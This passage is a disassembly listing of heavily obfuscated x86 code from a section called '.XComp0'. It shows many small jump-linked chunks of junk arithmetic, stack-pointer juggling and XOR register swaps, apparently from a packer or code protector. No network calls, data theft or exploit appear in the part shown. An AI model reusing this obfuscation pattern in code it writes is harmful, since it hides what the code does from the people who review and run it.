; ---------------------------------------------------------------------------


loc_575481:				; CODE XREF: .XComp0:0057FC08j
		add	esi, 4E0566A2h
		or	esi, 3AAA6921h
		add	esi, 801173F7h
		jmp	loc_57BCD7
; ---------------------------------------------------------------------------


loc_575498:				; CODE XREF: .XComp0:005745C4j
		pop	ebx
		jmp	loc_57694B
; ---------------------------------------------------------------------------


loc_57549E:				; CODE XREF: .XComp0:0057B8A6j
		mov	[esp], ecx
		not	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_57BCEB
; ---------------------------------------------------------------------------


loc_5754B0:				; CODE XREF: .XComp0:005803D8j
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_580B22
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	401Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_578623
; ---------------------------------------------------------------------------


loc_5754DF:				; CODE XREF: .XComp0:00575503j
		or	eax, eax
		jnz	loc_57A605
		push	ebp
		push	77A77892h
		pop	ebp
		jmp	loc_582ADA
; ---------------------------------------------------------------------------


loc_5754F3:				; CODE XREF: .XComp0:00575A6Aj
		mov	bl, ch
		mov	al, bl
		pop	ebx
		jmp	loc_580752
; ---------------------------------------------------------------------------


loc_5754FD:				; CODE XREF: .XComp0:0057D5BDj
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5754DF
; ---------------------------------------------------------------------------


loc_575508:				; CODE XREF: .XComp0:0057C4D6j
		pop	esp
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		sub	edi, 63F3706h
		add	edi, edx
		add	edi, 63F3706h
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_57E92E
; ---------------------------------------------------------------------------


loc_575537:				; CODE XREF: .XComp0:005791B1j
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	6EE4h
		mov	[esp], edi
		mov	edi, 17A84CA0h
		jmp	loc_581F7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57554E:				; CODE XREF: sub_5A47B5-26BFAj
		pop	ebx
		mov	dx, word ptr [esp+26h+var_28+2]
		jmp	loc_580585
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_575558:				; CODE XREF: .XComp0:005787B7j
		xor	bl, al
		movzx	eax, al
		jmp	loc_57F857
; ---------------------------------------------------------------------------


loc_575562:				; CODE XREF: .XComp0:00575DE7j
		push	157h
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_578176
; ---------------------------------------------------------------------------


loc_575589:				; CODE XREF: .XComp0:00573D7Ej
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5772F9
; ---------------------------------------------------------------------------


loc_57559C:				; CODE XREF: .XComp0:00574095j
		mov	ebp, [esp]
		push	esi
		jmp	loc_583164
; ---------------------------------------------------------------------------


loc_5755A5:				; CODE XREF: .XComp0:0057592Ej
		mov	ebp, 0F805C4BBh
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, esi
		pop	esi
		jmp	loc_578586
; ---------------------------------------------------------------------------


loc_5755BD:				; CODE XREF: .XComp0:0057DCF2j
		add	ebx, 6A541132h
		add	edx, ebx
		pop	ebx
		pop	ebx
		push	ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_582535
; ---------------------------------------------------------------------------


loc_5755DB:				; CODE XREF: .XComp0:0057F5B5j
		add	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_57B714
; ---------------------------------------------------------------------------


loc_5755EB:				; CODE XREF: .XComp0:0058083Dj
		pop	esp
		add	[esp], al
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5755F5:				; CODE XREF: .XComp0:00583719j
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 7BC32809h
		inc	ebx
		jmp	loc_574336
; ---------------------------------------------------------------------------


loc_575609:				; CODE XREF: .XComp0:00576844j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	6BB1h
		mov	[esp], edx
		mov	edx, 4
		add	edi, 1BC7A33h
		add	edi, edx
		jmp	loc_573D6D
; ---------------------------------------------------------------------------


loc_57562D:				; CODE XREF: .XComp0:0057C75Fj
		mov	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5828FB
; ---------------------------------------------------------------------------


loc_575645:				; CODE XREF: .XComp0:005794A7j
		xor	bh, cl
		xor	cl, bh
		push	bx
		mov	bl, 0F3h
		xor	cl, bl
		pop	bx
		add	al, cl
		mov	ecx, [esp]
		jmp	loc_582379
; ---------------------------------------------------------------------------


loc_57565B:				; CODE XREF: .XComp0:00580DDDj
		sub	eax, 32657FDEh
		push	556Eh
		mov	[esp], ecx
		jmp	loc_5767A6
; ---------------------------------------------------------------------------


loc_57566D:				; CODE XREF: .XComp0:00574550j
		xor	eax, edx
		xor	edx, eax
		jmp	loc_576232
; ---------------------------------------------------------------------------


loc_575676:				; CODE XREF: .XComp0:005777E9j
		add	ecx, 87584051h
		add	eax, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_582E1E
; ---------------------------------------------------------------------------


loc_575686:				; CODE XREF: .XComp0:0057A450j
		not	ebp
		jmp	loc_57516F
; ---------------------------------------------------------------------------


loc_57568D:				; CODE XREF: .XComp0:0057E6FEj
		pop	esp
		sub	al, ch
		sub	al, 5Ah
		pop	cx
		add	al, dh
		add	al, 75h
		mov	edx, [esp]
		jmp	loc_57D0B4
; ---------------------------------------------------------------------------


loc_5756A0:				; CODE XREF: .XComp0:0057B365j
		add	esi, 16026A35h
		jmp	loc_58153B
; ---------------------------------------------------------------------------


loc_5756AB:				; CODE XREF: .XComp0:0057BF71j
		push	41C8h
		mov	[esp], edx
		push	ebx
		mov	bl, ah
		mov	dl, bl
		pop	ebx
		jmp	loc_57F83B
; ---------------------------------------------------------------------------


loc_5756BE:				; CODE XREF: .XComp0:0057C867j
		shl	edi, 8
		xor	edi, 52023679h
		sub	esp, 4
		mov	[esp], edi
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		add	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	esi
		jmp	loc_575412
; ---------------------------------------------------------------------------


loc_5756E8:				; CODE XREF: .XComp0:005816F9j
		push	ebp
		push	small 48FDh
		pop	bp
		sub	esp, 4
		jmp	loc_58130B
; ---------------------------------------------------------------------------


loc_5756F7:				; CODE XREF: .XComp0:0057937Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_581E1C
; ---------------------------------------------------------------------------


loc_575703:				; CODE XREF: .XComp0:005779E4j
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_57A833
; ---------------------------------------------------------------------------


loc_575722:				; CODE XREF: .XComp0:00582F73j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		shl	ebx, 2
		add	ebx, 2CAB2ECAh
		dec	ebx
		xor	ebx, 0D990A504h
		push	ecx
		push	351703D2h
		pop	ecx
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		push	37A8h
		mov	[esp], ebx
		mov	ebx, 351703D2h
		add	eax, ebx
		pop	ebx
		pop	ebx
		push	54A7h
		mov	[esp], edx
		push	112Ch
		mov	[esp], edi
		jmp	loc_580F88
; ---------------------------------------------------------------------------


loc_575773:				; CODE XREF: .XComp0:0057D987j
		push	dword ptr [esp]
		jmp	loc_57B2CA
; ---------------------------------------------------------------------------


loc_57577B:				; CODE XREF: .XComp0:0057F07Ej
		mov	bh, 6Fh
		add	al, 15h
		add	al, bh
		jmp	loc_579DED
; ---------------------------------------------------------------------------


loc_575786:				; CODE XREF: .XComp0:00579BD9j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, 4E6F4850h
		and	ebp, esi
		pop	esi
		jmp	loc_580389
; ---------------------------------------------------------------------------


loc_5757A3:				; CODE XREF: .XComp0:00582A21j
		xor	ecx, 0BA97D515h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_580780
; ---------------------------------------------------------------------------


loc_5757B1:				; CODE XREF: .XComp0:00578581j
		shr	esi, 4
		jmp	loc_5776E9
; ---------------------------------------------------------------------------


loc_5757B9:				; CODE XREF: .XComp0:00573EF6j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	al, bl
		jmp	loc_57DDAF
; ---------------------------------------------------------------------------


loc_5757CA:				; CODE XREF: .XComp0:00576C47j
		xor	ebp, 1F9F107Ah
		add	ebp, 592A575Fh
		jmp	loc_58071A
; ---------------------------------------------------------------------------


loc_5757DB:				; CODE XREF: .XComp0:00577E8Cj
		mov	esi, 4
		jmp	loc_579D53
; ---------------------------------------------------------------------------


loc_5757E5:				; CODE XREF: .XComp0:00580D82j
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57F151
; ---------------------------------------------------------------------------


loc_5757FA:				; CODE XREF: .XComp0:0057E6DFj
		push	esi
		mov	esi, 17615326h
		add	dword ptr [esp+8], 3F6F6554h
		jmp	loc_57D9DE
; ---------------------------------------------------------------------------


loc_57580D:				; CODE XREF: .XComp0:0057FFACj
		add	edi, 14C05480h
		mov	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 47C54268h
		sub	ebx, 7FE2F33h
		add	ebx, 59E26069h
		sub	ebx, ecx
		sub	ebx, 59E26069h
		add	ebx, 7FE2F33h
		pop	ecx
		jmp	loc_57D1E9
; ---------------------------------------------------------------------------


loc_57583C:				; CODE XREF: .XComp0:00576B6Ej
		add	ebx, 2
		push	edi
		push	49A3h
		jmp	loc_57967F
; ---------------------------------------------------------------------------


loc_57584D:				; CODE XREF: .XComp0:0057DB19j
		inc	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 0FFFFFFFFh
		sub	ecx, 1
		shr	ecx, 6
		xor	ecx, 68AEB2F3h
		jmp	loc_575FD0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	1F2Eh
		mov	[esp], ebx
		push	6A0C117Bh
		pop	ebx
		push	ecx
		mov	ecx, 6A0C117Fh
		jmp	loc_57AC79
; ---------------------------------------------------------------------------


loc_575898:				; CODE XREF: .XComp0:0057687Aj
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4D482C61h
		push	edx
		mov	edx, 53674F1Ch
		or	ebx, edx
		pop	edx
		xchg	ebp, ebx
		jmp	loc_577AE6
; ---------------------------------------------------------------------------


loc_5758B5:				; CODE XREF: .XComp0:00581633j
		pop	edx
		sub	ebx, esi
		jmp	loc_58354C
; ---------------------------------------------------------------------------


loc_5758BD:				; CODE XREF: .XComp0:00583393j
		pop	esp
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5783DA
; ---------------------------------------------------------------------------


loc_5758D3:				; CODE XREF: .XComp0:00576DE2j
		pop	ebp
		sub	ebx, 70AC2A77h
		add	ebx, eax
		add	ebx, 70AC2A77h
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_576C28
; ---------------------------------------------------------------------------


loc_5758F6:				; CODE XREF: .XComp0:00573B9Cj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_582C1F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_57D250
; ---------------------------------------------------------------------------


loc_57590F:				; CODE XREF: .XComp0:0057986Cj
		shl	eax, 3
		dec	eax
		jmp	loc_57E5E3
; ---------------------------------------------------------------------------


loc_575918:				; CODE XREF: .XComp0:005778B7j
		shr	edx, 1
		sub	edx, 0F8B86D25h
		xor	esi, edx
		pop	edx
		dec	esi
		not	esi
		push	297h
		mov	[esp], ebp
		jmp	loc_5755A5
; ---------------------------------------------------------------------------


loc_575933:				; CODE XREF: .XComp0:0057841Bj
		shl	eax, 2
		push	edx
		jmp	loc_5835EA
; ---------------------------------------------------------------------------


loc_57593C:				; CODE XREF: .XComp0:00581357j
		pop	edi
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		not	ebx
		push	ecx
		mov	ecx, 2D361F4Ah
		xor	ebx, ecx
		jmp	loc_57B3E6
; ---------------------------------------------------------------------------


loc_575954:				; CODE XREF: .XComp0:00574416j
		sub	eax, 28F6BB2Bh
		add	ebp, eax
		pop	eax
		push	edi
		push	ebp
		mov	ebp, 5BE146CCh
		mov	edi, 0A41EB938h
		add	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_57D8EE
; ---------------------------------------------------------------------------


loc_575971:				; CODE XREF: .XComp0:0057F3B3j
		mov	ebx, 471F3F5Eh
		add	esi, ebx
		pop	ebx
		push	esi
		inc	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		jmp	loc_5751CB
; ---------------------------------------------------------------------------


loc_575986:				; CODE XREF: .XComp0:0057BB19j
		sub	esi, 48C33E56h
		inc	esi
		sub	esi, 0ECE3BBA8h
		xor	ecx, esi
		pop	esi
		jmp	loc_575A27
; ---------------------------------------------------------------------------


loc_57599B:				; CODE XREF: .XComp0:00581391j
		push	ebx
		mov	ebx, 54A14D38h
		add	ebx, 26791D33h
		or	ebx, 6572283h
		shl	ebx, 2
		shl	ebx, 1
		add	ebx, 0F2838822h
		add	edi, ebx
		pop	ebx
		jmp	loc_57CFE1
; ---------------------------------------------------------------------------


loc_5759C0:				; CODE XREF: .XComp0:0057A54Aj
		push	edi
		mov	edi, 77DB381Ch
		jmp	loc_57B15A
; ---------------------------------------------------------------------------


loc_5759CB:				; CODE XREF: .XComp0:0057CBEAj
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 48h
		sub	cl, dl
		pop	dx
		jmp	loc_578771
; ---------------------------------------------------------------------------


loc_5759E0:				; CODE XREF: .XComp0:00580E12j
		shl	esi, 1
		jmp	loc_5791D3
; ---------------------------------------------------------------------------


loc_5759E7:				; CODE XREF: .XComp0:0057ECB5j
		push	731343A2h
		jmp	loc_573F12
; ---------------------------------------------------------------------------


loc_5759F1:				; CODE XREF: .XComp0:005815DEj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	ebx, 438D3E86h
		jmp	loc_57757C
; ---------------------------------------------------------------------------


loc_575A1F:				; CODE XREF: .XComp0:00579350j
		mov	edx, eax
		pop	eax
		jmp	loc_575B77
; ---------------------------------------------------------------------------


loc_575A27:				; CODE XREF: .XComp0:00575996j
		push	esi
		mov	esi, 9420BBAh
		sub	ecx, esi
		pop	esi
		sub	ebx, 64EB57D1h
		sub	ebx, ecx
		add	ebx, 64EB57D1h
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 26D16531h
		shr	edx, 1
		sub	edx, 0E5B1377Fh
		jmp	loc_58065A
; ---------------------------------------------------------------------------


loc_575A5A:				; CODE XREF: .XComp0:0057F155j
		push	6DB3h
		mov	[esp], ecx
		push	ebx
		mov	bl, al
		mov	ch, bl
		pop	ebx
		push	eax
		push	ebx
		jmp	loc_5754F3
; ---------------------------------------------------------------------------


loc_575A6F:				; CODE XREF: .XComp0:0057D1C7j
		push	ecx
		push	edx
		mov	edx, 47DA547Ch
		push	ebx
		push	7CC76CB3h
		pop	ebx
		jmp	loc_5777C3
; ---------------------------------------------------------------------------


loc_575A82:				; CODE XREF: .XComp0:00577449j
		mov	bh, dh
		jmp	loc_57E046
; ---------------------------------------------------------------------------


loc_575A89:				; CODE XREF: .XComp0:00574AD6j
		push	7732h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5787E6
; ---------------------------------------------------------------------------


loc_575A9A:				; CODE XREF: .XComp0:0057369Bj
		shr	ebx, 3
		push	esi
		mov	esi, 62490CD4h
		xor	esi, 9D2A60CFh
		add	ebx, esi
		jmp	loc_577FD5
; ---------------------------------------------------------------------------


loc_575AB0:				; CODE XREF: .XComp0:0057A76Bj
		and	dl, 5Bh
		add	dl, 0Dh
		sub	ch, dl
		jmp	loc_575D2C
; ---------------------------------------------------------------------------


loc_575ABD:				; CODE XREF: .XComp0:0057425Bj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_579F7A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_574D7D
; ---------------------------------------------------------------------------


loc_575ADC:				; CODE XREF: .XComp0:0057CADFj
		sub	edx, 1C5A7BAFh
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	dword ptr [ebx], 1
		pop	ebx
		jmp	loc_5788E8
; ---------------------------------------------------------------------------


loc_575AF6:				; CODE XREF: .XComp0:005784DEj
		xor	ecx, [esp]
		jmp	loc_579F26
; ---------------------------------------------------------------------------


loc_575AFE:				; CODE XREF: .XComp0:005797FCj
		xor	bh, 40h
		mov	ch, bh
		jmp	loc_57987F
; ---------------------------------------------------------------------------


loc_575B08:				; CODE XREF: .XComp0:0057B6AEj
		pop	esi
		add	edi, esi
		jmp	loc_57ACCC
; ---------------------------------------------------------------------------


loc_575B10:				; CODE XREF: .XComp0:0057F16Fj
		add	[esp+4], edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_574EC7
; ---------------------------------------------------------------------------


loc_575B24:				; CODE XREF: .XComp0:0057F2E5j
		sub	ebp, 0E292869h
		add	ebx, ebp
		jmp	loc_575479
; ---------------------------------------------------------------------------


loc_575B31:				; CODE XREF: .XComp0:0057E364j
		pop	ebx
		add	esi, 4
		jmp	loc_57A492
; ---------------------------------------------------------------------------


loc_575B3A:				; CODE XREF: .XComp0:0057DCFAj
		push	ecx
		mov	ecx, 0BF62318h
		jmp	loc_57CFE8
; ---------------------------------------------------------------------------


loc_575B45:				; CODE XREF: .XComp0:005835C7j
		sub	ebx, 0FA735657h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57DC38
; ---------------------------------------------------------------------------


loc_575B58:				; CODE XREF: .XComp0:0057C052j
		mov	[esp], edx
		mov	edx, 474B66F8h
		add	edx, 3CF44CCBh
		add	edx, 7BC04C3Fh
		add	ecx, 1CF1444Ah
		jmp	loc_580341
; ---------------------------------------------------------------------------


loc_575B77:				; CODE XREF: .XComp0:00575A22j
		sub	edx, 9906F3Fh
		sub	edx, ebx
		sub	esp, 4
		jmp	loc_57EE62
; ---------------------------------------------------------------------------


loc_575B8A:				; CODE XREF: .XComp0:0057819Dj
		add	ebx, 4
		push	17E1h
		mov	[esp], esi
		push	4C491A0Fh
		pop	esi
		jmp	loc_5799C5
; ---------------------------------------------------------------------------


loc_575BA3:				; CODE XREF: .XComp0:00579FA7j
		sub	dh, 0FAh
		sub	dh, 84h
		add	bl, dh
		pop	edx
		jmp	loc_577C54
; ---------------------------------------------------------------------------


loc_575BB1:				; CODE XREF: .XComp0:0057EC79j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_579CAE
; ---------------------------------------------------------------------------


loc_575BD1:				; CODE XREF: .XComp0:0057E457j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		mov	eax, 57B246D5h
		add	eax, 0A84DB92Fh
		jmp	loc_574EF4
; ---------------------------------------------------------------------------


loc_575BEA:				; CODE XREF: .XComp0:00576884j
		push	edi
		mov	edi, 42F53D52h
		add	ecx, edi
		pop	edi
		add	ecx, esi
		push	ebp
		mov	ebp, 8ED29FCh
		xor	ebp, 7B7B3CAAh
		sub	ebp, 53865C1Eh
		push	esi
		mov	esi, 32E77B5Ah
		sub	esi, 66C02ADCh
		neg	esi
		inc	esi
		xor	esi, 7EA7D1AEh
		add	ebp, esi
		pop	esi
		jmp	loc_57B175
; ---------------------------------------------------------------------------


loc_575C24:				; CODE XREF: .XComp0:005804F3j
		shl	ebp, 8
		jmp	loc_5800CC
; ---------------------------------------------------------------------------


loc_575C2C:				; CODE XREF: .XComp0:00576CDDj
		and	ecx, 25A1BA6h
		not	ecx
		jmp	loc_57B42A
; ---------------------------------------------------------------------------


loc_575C39:				; CODE XREF: .XComp0:005740BFj
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5764B9
; ---------------------------------------------------------------------------


loc_575C45:				; CODE XREF: .XComp0:00579250j
		pop	esp
		push	ecx
		jmp	loc_58267C
; ---------------------------------------------------------------------------


loc_575C4C:				; CODE XREF: .XComp0:00582EE3j
		pop	esp
		jmp	loc_579983
; ---------------------------------------------------------------------------


loc_575C52:				; CODE XREF: .XComp0:005820BFj
		mov	[esp], edi
		jmp	loc_57B9C0
; ---------------------------------------------------------------------------


loc_575C5A:				; CODE XREF: .XComp0:00579BACj
		mov	eax, esp
		add	eax, 4
		jmp	loc_580EE2
; ---------------------------------------------------------------------------


loc_575C66:				; CODE XREF: .XComp0:00576A49j
		push	1FCBh
		mov	[esp], ecx
		push	79A1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_57A6FB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57D15E
; ---------------------------------------------------------------------------


loc_575CA9:				; CODE XREF: .XComp0:0057F014j
		add	edx, 9176BD66h
		sub	esi, 2F8B3DBCh
		sub	esi, edx
		jmp	loc_5787BC
; ---------------------------------------------------------------------------


loc_575CBC:				; CODE XREF: .XComp0:005751C6j
		add	ebp, ebx
		jmp	loc_5747F7
; ---------------------------------------------------------------------------


loc_575CC3:				; CODE XREF: .XComp0:0057681Fj
		xor	esi, 455D28EAh
		shr	esi, 6
		and	esi, 5EC03019h
		push	ebp
		mov	ebp, 5E3F0AB7h
		jmp	loc_57CCBB
; ---------------------------------------------------------------------------


loc_575CDD:				; CODE XREF: .XComp0:00574CD0j
		xor	ebx, 79862211h
		pop	ebp
		jmp	loc_5829E2
; ---------------------------------------------------------------------------


loc_575CE9:				; CODE XREF: .XComp0:005774E9j
		add	ch, 1
		push	ax
		mov	al, 29h
		jmp	loc_577D3F
; ---------------------------------------------------------------------------


loc_575CF5:				; CODE XREF: .XComp0:0057B8D7j
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		jmp	loc_5776C4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	651Bh
		jmp	loc_57F15A
; ---------------------------------------------------------------------------


loc_575D18:				; CODE XREF: .XComp0:00578339j
		or	ebx, edx
		pop	edx
		inc	ebx
		jmp	loc_57F741
; ---------------------------------------------------------------------------


loc_575D21:				; CODE XREF: .XComp0:0057D512j
		or	ebx, 67C460F9h
		jmp	loc_580BC3
; ---------------------------------------------------------------------------


loc_575D2C:				; CODE XREF: .XComp0:00575AB8j
		pop	edx
		sub	al, 3Ch
		sub	al, ch
		push	ecx
		mov	cl, 0C4h
		dec	cl
		shr	cl, 4
		not	cl
		sub	cl, 0B7h
		add	al, cl
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_57EEAF
; ---------------------------------------------------------------------------


loc_575D55:				; CODE XREF: .XComp0:005784C4j
		push	dword ptr [esp]
		jmp	loc_57E49E
; ---------------------------------------------------------------------------


loc_575D5D:				; CODE XREF: .XComp0:005750BBj
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		push	esi
		push	esp
		jmp	loc_58167C
; ---------------------------------------------------------------------------


loc_575D6E:				; CODE XREF: .XComp0:00574D88j
		push	ebp
		mov	ebp, 752436Dh
		or	ebp, 132A0A58h
		inc	ebp
		xor	ebp, 33DA3EE2h
		add	eax, ebp
		pop	ebp
		shl	eax, 7
		shl	eax, 1
		push	edi
		mov	edi, 2F606AA4h
		sub	eax, edi
		pop	edi
		jmp	loc_57C686
; ---------------------------------------------------------------------------


loc_575D97:				; CODE XREF: .XComp0:0057A975j
		add	esp, 4
		add	ebp, ecx
		pop	ecx
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57A1F4
; ---------------------------------------------------------------------------


loc_575DB2:				; CODE XREF: .XComp0:00578938j
		pop	dword ptr [esp]
		jmp	loc_573D7C
; ---------------------------------------------------------------------------


loc_575DBA:				; CODE XREF: .XComp0:0057E579j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_57ABE0
; ---------------------------------------------------------------------------


loc_575DC9:				; CODE XREF: .XComp0:00582407j
		mov	ebx, esp
		jmp	loc_57E389
; ---------------------------------------------------------------------------


loc_575DD0:				; CODE XREF: .XComp0:0057D137j
		shr	esi, 6
		jmp	loc_57A51F
; ---------------------------------------------------------------------------


loc_575DD8:				; CODE XREF: .XComp0:0057FE2Cj
		add	ebx, 69F7164Bh
		sub	ebx, 829A5EEEh
		add	edx, ebx
		pop	ebx
		jmp	loc_575562
; ---------------------------------------------------------------------------


loc_575DEC:				; CODE XREF: .XComp0:0057CD63j
		pop	ebp
		pop	dword ptr [esp]
		push	3FFFh
		mov	[esp], ebp
		jmp	loc_57E8DA
; ---------------------------------------------------------------------------


loc_575DFD:				; CODE XREF: .XComp0:00578F1Fj
		mov	dx, [esp]
		add	esp, 2
		or	bh, 1
		jmp	loc_57EE4D
; ---------------------------------------------------------------------------


loc_575E0F:				; CODE XREF: .XComp0:0057636Cj
		pop	ebx
		add	ebx, 4
		jmp	loc_581604
; ---------------------------------------------------------------------------


loc_575E1B:				; CODE XREF: .XComp0:0057C177j
		pop	ecx
		jmp	loc_5821BB
; ---------------------------------------------------------------------------


loc_575E21:				; CODE XREF: .XComp0:00574BC6j
		sub	ebx, 2DB77B19h
		add	ebx, 4ADD62D3h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 61596760h
		push	esi
		push	ebp
		jmp	loc_5835E1
; ---------------------------------------------------------------------------


loc_575E42:				; CODE XREF: .XComp0:0057AAEFj
		pop	edx
		sub	al, 5Ch
		sub	al, bh
		add	al, 5Ch
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_573B96
; ---------------------------------------------------------------------------


loc_575E52:				; CODE XREF: .XComp0:0057EEF2j
		mov	ebx, esp
		push	edx
		jmp	loc_5805BD
; ---------------------------------------------------------------------------


loc_575E5A:				; CODE XREF: .XComp0:0058300Bj
		mov	esi, 42E86248h
		and	esi, 3CB06DBFh
		and	esi, 277460AAh
		shl	esi, 7
		jmp	loc_57A39C
; ---------------------------------------------------------------------------


loc_575E73:				; CODE XREF: .XComp0:00577789j
		sub	ebx, 7DB0150h
		jmp	loc_57AAC7
; ---------------------------------------------------------------------------


loc_575E7E:				; CODE XREF: .XComp0:0058098Ej
		push	547Bh
		mov	[esp], ebp
		push	eax
		jmp	loc_576CAF
; ---------------------------------------------------------------------------


loc_575E8C:				; CODE XREF: .XComp0:00579827j
		xchg	ebp, [esp]
		pop	esp


loc_575E90:				; CODE XREF: .XComp0:00576433j
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_57B747
; ---------------------------------------------------------------------------


loc_575E9C:				; CODE XREF: .XComp0:00583262j
		pop	edi
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5761F5
; ---------------------------------------------------------------------------


loc_575EAB:				; CODE XREF: .XComp0:00573EA3j
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 45B909ABh
		xor	esi, 2050110h
		add	esi, 1
		not	esi
		xor	esi, 0B843F747h
		jmp	loc_57EB92
; ---------------------------------------------------------------------------


loc_575ED9:				; CODE XREF: .XComp0:00576445j
		push	4E150791h
		jmp	loc_57A2B0
; ---------------------------------------------------------------------------


loc_575EE3:				; CODE XREF: .XComp0:0057BCA3j
		mov	[esp], ecx
		mov	ecx, 5C3A25FFh
		jmp	loc_579255
; ---------------------------------------------------------------------------


loc_575EF0:				; CODE XREF: .XComp0:0057B96Bj
		push	0EAh
		mov	[esp], eax
		push	ebx
		push	7CEh
		mov	[esp], eax
		push	ebx
		mov	bl, 18h
		mov	ah, 9Ch
		sub	ah, bl
		pop	ebx
		push	cx
		jmp	loc_577CDF
; ---------------------------------------------------------------------------


loc_575F10:				; CODE XREF: .XComp0:0057B425j
